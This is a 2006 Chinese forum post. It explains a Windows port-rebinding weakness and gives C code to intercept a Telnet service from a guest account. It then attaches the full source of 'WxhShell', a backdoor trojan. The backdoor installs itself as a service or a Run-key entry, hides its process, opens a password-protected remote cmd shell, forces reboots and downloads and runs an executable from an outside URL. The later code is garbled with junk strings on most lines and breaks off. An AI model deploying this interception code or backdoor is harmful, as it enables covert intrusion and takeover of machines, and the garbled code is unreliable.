[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; lMN3;}K
if(chr[0]==0xd || chr[0]==0xa) { 0wlKBwf`J
pwd=0; kTQvMa-X9D
break; x6BO%1
} kbHfdA
i++; Z91GM1lrf8
} 4{Q{>S*h
Vw~st1",[
// 如果是非法用户，关闭 socket q0a8=o"|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }kK6"]Tj
} ]@rt/ eX
{0t-Q k
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zZ11J0UI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j$u=7Z&E
#@cOyxUt
while(1) { <8[y2|UBt
E/6@>.T?'
ZeroMemory(cmd,KEY_BUFF); 8M DX()Bm
9BA*e-[
// 自动支持客户端 telnet标准 |8:IH@K*
j=0; gq+|Hr
while(j<KEY_BUFF) { MMYV8;c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x%WL!Lo
cmd[j]=chr[0]; $0OWPC1
if(chr[0]==0xa || chr[0]==0xd) { TcP (?v
cmd[j]=0; M~uX!bDH
break; K\2UwX
} P t)Ni
j++; km(Mv
} G+$A|'<`z
6hvmp
// 下载文件 1;Dug
if(strstr(cmd,"http://")) { XC D&Im
send(wsh,msg_ws_down,strlen(msg_ws_down),0); S=R}#
if(DownloadFile(cmd,wsh)) 3S97hn{|=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l1utk8'-
else e7cqm*Qi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >kLUQ%zE@
} 4 )U,A~!
else { -q}c;0vL-a
7P!Hryy
switch(cmd[0]) { VX`E7Sf!}
D@]*{WO
// 帮助 +$b_,s
case '?': { 3ZF-n`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mqx#N%
break; j1yW{
} !}TZmwf'
// 安装 Ca?:x tt
case 'i': { (1|_Nr
if(Install()) sUki|lP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZMI!Sl
else ,dG2[<?o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J=*X%^jX9Z
break; (q@DBb4
} 'rX!E,59
// 卸载 ')8c
case 'r': { SG)hrd
if(Uninstall()) ^F*G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Qd;t
else :+G1=TuXw~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TCC([
break; |Zn|?#F
} p7\}X.L
// 显示 wxhshell 所在路径 "8'aZ.P
case 'p': { f*{~N!g
char svExeFile[MAX_PATH]; t81}jD
strcpy(svExeFile,"\n\r"); ["N)=d|LS
strcat(svExeFile,ExeFile); C_&-2Z
send(wsh,svExeFile,strlen(svExeFile),0); mihR *8p
break; "-pQL )f
} w=]bj0<A=
// 重启 3Pj 6(cf
case 'b': { z^KMYvH g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nO'lN<L
if(Boot(REBOOT)) aBH!K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7({"dW
else { ?D6?W6@
closesocket(wsh); sO5~!W>Z
ExitThread(0); r&u&$"c
} ,:Q+>h
break; ,<pk&54.@'
} J<<Ph
// 关机 O,&nCxB]
case 'd': { 2=&4@c|cn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xXCSaBS~
if(Boot(SHUTDOWN)) C6$F.v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DRo?7_
else { 0""t`y&
closesocket(wsh); ot"3 3I
ExitThread(0); +zU[rhMk'
} : J3_g<@
break; Z'vic#
} x*Lm{c5+
// 获取shell qqmhh_[T
case 's': { yo#aX^v~y
CmdShell(wsh); , ;'y <GA
closesocket(wsh); )} I>"n
ExitThread(0); oj|\NlR
break; o@&Hc bN^
} vZDM}u
// 退出 #6'x-Z_
case 'x': { !)Y T_ib
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +A 4};]W|
CloseIt(wsh); $jpAnZR- /
break; (1tb
} d]89DdZk
// 离开 i'[o,dbE
case 'q': { *8ZaG]L
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "sM 3NY
closesocket(wsh); E{Tvjh+
WSACleanup(); ?)8OC(B8q
exit(1); ;;A8TcE '
break; bJ~@ k,'
} SuO@LroxTB
} H=_ Wio
} =i`#0i2(
$CgJ+ua\8
// 提示信息 i`FskEoijq
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dx/NY1
} #RJFJb/
} 4Jf6uhaE
i9QL}d
return; l8$7N=Y
} G2
zqDG#}3f^
// shell模块句柄 5._=m"Pl
int CmdShell(SOCKET sock) Id<3'ky<N
{ l"C)Ia&/
STARTUPINFO si; 12Lc$\3P
ZeroMemory(&si,sizeof(si)); 62}rZVJq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gbC!>LV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W=[..d
PROCESS_INFORMATION ProcessInfo; e=8z,.Xk
char cmdline[]="cmd"; 2[O\"a%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jt*VD>ji
return 0; Zx1I&K\Cd
} K+`$*vS~ws
3U_,4qf
// 自身启动模式 !oJ226>WI
int StartFromService(void) i uNBw]
{ Ah_Ttj
typedef struct -F]0Py8(
{ )|Ho"VEmg
DWORD ExitStatus; |t1ij'N
DWORD PebBaseAddress; K|OowM4tv
DWORD AffinityMask; |%i|P)]
DWORD BasePriority; snl$v
ULONG UniqueProcessId; Tej&1'G
ULONG InheritedFromUniqueProcessId; !%1=|PX_
} PROCESS_BASIC_INFORMATION; 'K"7Tex
jn+M L&
PROCNTQSIP NtQueryInformationProcess; _YT9zG
[i ]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~&UfnO
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -UhSy>m
jP{W|9@(
HANDLE hProcess; T##_?=22I
PROCESS_BASIC_INFORMATION pbi; Y!+q3`-%T
+FYQ7UE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .Lvg $d
if(NULL == hInst ) return 0; 3hPj;-u
-9L[eYn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +RuPfw{z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^<}>]F_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W,g0n=2V
z.xOT;t
if (!NtQueryInformationProcess) return 0; GOzV#
gmU0/z3&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1Ar6hA
if(!hProcess) return 0; bM9:h
~kkwPs2V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h|DKD.
DM73 Nn^5
CloseHandle(hProcess); }+" N '
%)|_&Rh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \N?,6;%xB
if(hProcess==NULL) return 0; )]^xy&:|
9AbSt&#
HMODULE hMod; B F,rZZL
char procName[255]; s*XwU
unsigned long cbNeeded; l$:.bwXXO
XQH wu
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M< T[%)v
x;G~c5
CloseHandle(hProcess); p-6(>,+E[
l5 FM>q
if(strstr(procName,"services")) return 1; // 以服务启动 @ZD/y%e
z@_9.n]
return 0; // 注册表启动 pO;BX5(x
} ?;//%c8,.
K?4/x4p@
// 主模块 Ke_&dgsq
int StartWxhshell(LPSTR lpCmdLine) X~H~k1
{ bhIyq4N
SOCKET wsl; SiM1Go}#
BOOL val=TRUE; Tt0:rQ.
int port=0; )bM #s">Y
struct sockaddr_in door; 8olR#>
)k@+8Yfa1p
if(wscfg.ws_autoins) Install(); dZ kr#>
%?4G^f
port=atoi(lpCmdLine); azUEp8`|
V&' :S{i
if(port<=0) port=wscfg.ws_port; 0B4&!J
^aW?0qsH
WSADATA data; T}?vp~./
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T%Vg0Y)P;
hKT]M[Pv
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V<#E!MG
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T@GR Tg
door.sin_family = AF_INET; ,r,~1oV<"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0'DlsC/`*
door.sin_port = htons(port); Qe~2'Hw#9
'k9?n)<DW
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s1[_Pk;!
closesocket(wsl); }> 51oBgk_
return 1; Ozygr?*X
} :\0q\2e[<
CKAs3",
if(listen(wsl,2) == INVALID_SOCKET) { `q ;79t
closesocket(wsl); +Oae3VFf;
return 1; .>(?c92
} O\5*p=v
Wxhshell(wsl); No\H QQ
WSACleanup(); [":[\D'
5X7kZ!r
return 0; ^UF]%qqOn
)$#r6fQO
} U`j[Ni}"
4{'0-7}
// 以NT服务方式启动 "CEy r0h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bb6 ~H
{ $RQ7rL3g{
DWORD status = 0; "EoC7 1
DWORD specificError = 0xfffffff; ~YIGOL"?
J,s)Fu\j@
serviceStatus.dwServiceType = SERVICE_WIN32; @-z#vJ5Qe{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M y:9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2$D *~~
serviceStatus.dwWin32ExitCode = 0; Dm@wTt8N(
serviceStatus.dwServiceSpecificExitCode = 0; ASuxty
serviceStatus.dwCheckPoint = 0; 9<An^lLK*
serviceStatus.dwWaitHint = 0; LhZWK^!{S
&`a$n2ycy
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \WM*2&
if (hServiceStatusHandle==0) return; v-85`h
+uF!.!}
status = GetLastError(); AgsMk
if (status!=NO_ERROR) i^{.Q-
{ r9Ux=W\
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?VMj;+'tr
serviceStatus.dwCheckPoint = 0; (}Ql#q K
serviceStatus.dwWaitHint = 0; w;.'>ORC
serviceStatus.dwWin32ExitCode = status; (/&IBd-
serviceStatus.dwServiceSpecificExitCode = specificError; PN{l)&K2.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1#AdEd[
return; F|*{Ma
} QZBXI3%#s
~U:{~z
serviceStatus.dwCurrentState = SERVICE_RUNNING; QdKxuG
serviceStatus.dwCheckPoint = 0; pRtxyL"y
serviceStatus.dwWaitHint = 0; lz!F{mR
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [y y D-
} TB] %?L:
Xj^6ZJc
// 处理NT服务事件，比如：启动、停止 h<.G^c)
VOID WINAPI NTServiceHandler(DWORD fdwControl) 40pGu
{ b 2n.v.$G
switch(fdwControl) n4%|F'ma
{ f\"Qgn
case SERVICE_CONTROL_STOP: UXvk5t1
serviceStatus.dwWin32ExitCode = 0; pN<wO1\9
serviceStatus.dwCurrentState = SERVICE_STOPPED; e-4XNL[F
serviceStatus.dwCheckPoint = 0; rt%.IQdY
serviceStatus.dwWaitHint = 0; 9<5SQ
{ C~vU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); oC>QJ(o,8
} Ebp^-I9.d
return; S .rT5A[
case SERVICE_CONTROL_PAUSE: mt7}1s,i[
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4-[L^1%S[
break; KO(+%>^R
case SERVICE_CONTROL_CONTINUE: QP|Ou*Qm)
serviceStatus.dwCurrentState = SERVICE_RUNNING; wKhuUZj{
break; m~9Qx`fi`
case SERVICE_CONTROL_INTERROGATE: p_Fc:%j>
break; lhTjG,U=
}; Vg/{;uLAe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w[z^B&
} _`WbR&d2Id
~$>l@> xX
// 标准应用程序主函数 ;Jt*s
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .ag4i;hS8
{ cu|gM[
< pI2}
// 获取操作系统版本 KotJ,s]B
OsIsNt=GetOsVer(); S#qd#Zk|Y
GetModuleFileName(NULL,ExeFile,MAX_PATH); goi.'8M|/b
w4pU^&O
// 从命令行安装 6%NX|4_
if(strpbrk(lpCmdLine,"iI")) Install(); xL4qt=
[P2$[|IM
// 下载执行文件 C$\|eC j
if(wscfg.ws_downexe) { m/n_e g
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bp2l%A;
WinExec(wscfg.ws_filenam,SW_HIDE); 9@Yk8
} ?b2
7f#[+i
